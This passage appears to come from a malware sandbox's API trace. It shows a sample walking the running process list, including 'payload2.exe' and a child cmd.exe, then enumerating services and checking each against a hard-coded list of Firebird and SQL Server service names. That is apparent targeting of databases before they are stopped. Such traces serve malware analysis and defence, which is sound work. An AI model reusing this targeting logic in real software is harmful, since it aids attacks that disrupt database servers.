	[0081.581] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="governments-lottery-royalty.exe")) returned 1
	[0081.581] lstrlenW (lpString="governments-lottery-royalty.exe") returned 31
	[0081.581] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="legends.exe")) returned 1
	[0081.582] lstrlenW (lpString="legends.exe") returned 11
	[0081.582] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="miniature.exe")) returned 1
	[0081.583] lstrlenW (lpString="miniature.exe") returned 13
	[0081.583] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="writes-heroes-spies.exe")) returned 1
	[0081.583] lstrlenW (lpString="writes-heroes-spies.exe") returned 23
	[0081.583] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="thorough.exe")) returned 1
	[0081.584] lstrlenW (lpString="thorough.exe") returned 12
	[0081.584] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0081.585] lstrlenW (lpString="dllhost.exe") returned 11
	[0081.585] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="interactive.exe")) returned 1
	[0081.585] lstrlenW (lpString="interactive.exe") returned 15
	[0081.585] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="victims sugar parental.exe")) returned 1
	[0081.586] lstrlenW (lpString="victims sugar parental.exe") returned 26
	[0081.586] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blade_mexican.exe")) returned 1
	[0081.587] lstrlenW (lpString="blade_mexican.exe") returned 17
	[0081.587] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="eastexamined.exe")) returned 1
	[0081.588] lstrlenW (lpString="eastexamined.exe") returned 16
	[0081.588] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="attacks-according.exe")) returned 1
	[0081.589] lstrlenW (lpString="attacks-according.exe") returned 21
	[0081.589] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="jacket neighborhood.exe")) returned 1
	[0081.589] lstrlenW (lpString="jacket neighborhood.exe") returned 23
	[0081.589] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="values latin.exe")) returned 1
	[0081.590] lstrlenW (lpString="values latin.exe") returned 16
	[0081.590] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="eaufeed.exe")) returned 1
	[0081.591] lstrlenW (lpString="eaufeed.exe") returned 11
	[0081.591] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="chicken_document_adjusted.exe")) returned 1
	[0081.592] lstrlenW (lpString="chicken_document_adjusted.exe") returned 29
	[0081.592] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="burning.exe")) returned 1
	[0081.593] lstrlenW (lpString="burning.exe") returned 11
	[0081.593] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="warned-garage.exe")) returned 1
	[0081.594] lstrlenW (lpString="warned-garage.exe") returned 17
	[0081.594] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="customize_ann_acute.exe")) returned 1
	[0081.595] lstrlenW (lpString="customize_ann_acute.exe") returned 23
	[0081.595] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="documentsstrikes.exe")) returned 1
	[0081.599] lstrlenW (lpString="documentsstrikes.exe") returned 20
	[0081.599] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="scratch-ball.exe")) returned 1
	[0081.600] lstrlenW (lpString="scratch-ball.exe") returned 16
	[0081.600] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="proprietary.exe")) returned 1
	[0081.601] lstrlenW (lpString="proprietary.exe") returned 15
	[0081.601] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x744, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xfd4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0081.601] lstrlenW (lpString="conhost.exe") returned 11
	[0081.602] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xfbc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0081.602] lstrlenW (lpString="conhost.exe") returned 11
	[0081.602] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0081.603] lstrlenW (lpString="payload2.exe") returned 12
	[0081.603] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1
	[0081.604] lstrlenW (lpString="CompatTelRunner.exe") returned 19
	[0081.604] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0081.605] lstrlenW (lpString="conhost.exe") returned 11
	[0081.605] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0081.605] lstrlenW (lpString="svchost.exe") returned 11
	[0081.605] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x468, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0081.606] lstrlenW (lpString="cmd.exe") returned 7
	[0081.606] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x5f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0081.607] lstrlenW (lpString="conhost.exe") returned 11
	[0081.607] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1
	[0081.608] lstrlenW (lpString="mode.com") returned 8
	[0081.608] Process32NextW (in: hSnapshot=0x328, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0
	[0081.608] CloseHandle (hObject=0x328) returned 1
	[0081.608] Sleep (dwMilliseconds=0x1f4) 
	[0082.230] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52d9d0
	[0082.230] EnumServicesStatusExW (in: hSCManager=0x52d9d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0
	[0082.231] GetLastError () returned 0xea
	[0082.231] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1d00) returned 0x43587b0
	[0082.231] EnumServicesStatusExW (in: hSCManager=0x52d9d0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x43587b0, cbBufSize=0x1d00, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x43587b0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1
	[0082.232] CloseServiceHandle (hSCObject=0x52d9d0) returned 1
	[0082.232] lstrlenW (lpString="Appinfo") returned 7
	[0082.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0082.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0082.232] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0082.232] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0082.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0082.232] lstrlenW (lpString="AppXSvc") returned 7
	[0082.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0082.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0082.233] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0082.233] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0082.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0082.233] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0082.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0082.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0082.233] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0082.233] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0082.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0082.233] lstrlenW (lpString="Audiosrv") returned 8
	[0082.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0082.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0082.233] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0082.233] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0082.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0082.233] lstrlenW (lpString="BFE") returned 3
	[0082.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0082.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0082.233] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0082.233] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0082.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0082.233] lstrlenW (lpString="BITS") returned 4
	[0082.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0082.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0082.233] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0082.233] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0082.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0082.233] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0082.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0082.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0082.233] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0082.233] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0082.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0082.234] lstrlenW (lpString="CDPSvc") returned 6
	[0082.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0082.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0082.234] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0082.234] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0082.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0082.234] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0082.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0082.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0082.234] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0082.234] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0082.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0082.234] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0082.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0082.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0082.234] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0082.234] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0082.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0082.234] lstrlenW (lpString="CryptSvc") returned 8
	[0082.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0082.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0082.234] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0082.234] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0082.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0082.234] lstrlenW (lpString="DcomLaunch") returned 10
	[0082.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0082.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0082.234] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0082.234] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0082.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0082.234] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0082.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0082.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0082.235] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0082.235] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0082.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0082.235] lstrlenW (lpString="Dhcp") returned 4
	[0082.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0082.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0082.235] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0082.235] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0082.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0082.235] lstrlenW (lpString="Dnscache") returned 8
	[0082.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0082.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0082.235] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0082.235] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0082.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0082.235] lstrlenW (lpString="DoSvc") returned 5
	[0082.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0082.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0082.235] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0082.235] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0082.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0082.235] lstrlenW (lpString="DPS") returned 3
	[0082.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0082.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0082.236] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0082.236] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0082.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0082.236] lstrlenW (lpString="DusmSvc") returned 7
	[0082.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0082.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0082.236] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0082.236] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0082.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0082.236] lstrlenW (lpString="EventLog") returned 8
	[0082.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0082.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0082.236] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0082.236] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0082.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0082.236] lstrlenW (lpString="EventSystem") returned 11
	[0082.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0082.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0082.236] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0082.236] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0082.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0082.236] lstrlenW (lpString="FontCache") returned 9
	[0082.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0082.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0082.236] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0082.237] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0082.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0082.237] lstrlenW (lpString="gpsvc") returned 5
	[0082.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0082.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0082.237] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0082.237] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0082.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0082.237] lstrlenW (lpString="iphlpsvc") returned 8
	[0082.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0082.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0082.237] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0082.237] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0082.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0082.237] lstrlenW (lpString="KeyIso") returned 6
	[0082.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0082.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0082.237] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0082.237] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0082.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0082.237] lstrlenW (lpString="LanmanServer") returned 12
	[0082.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0082.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0082.237] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0082.237] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0082.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0082.237] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0082.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0082.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0082.237] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0082.237] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0082.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0082.238] lstrlenW (lpString="lfsvc") returned 5
	[0082.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0082.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0082.238] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0082.238] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0082.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0082.238] lstrlenW (lpString="lmhosts") returned 7
	[0082.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0082.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0082.238] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0082.238] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0082.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0082.238] lstrlenW (lpString="LSM") returned 3
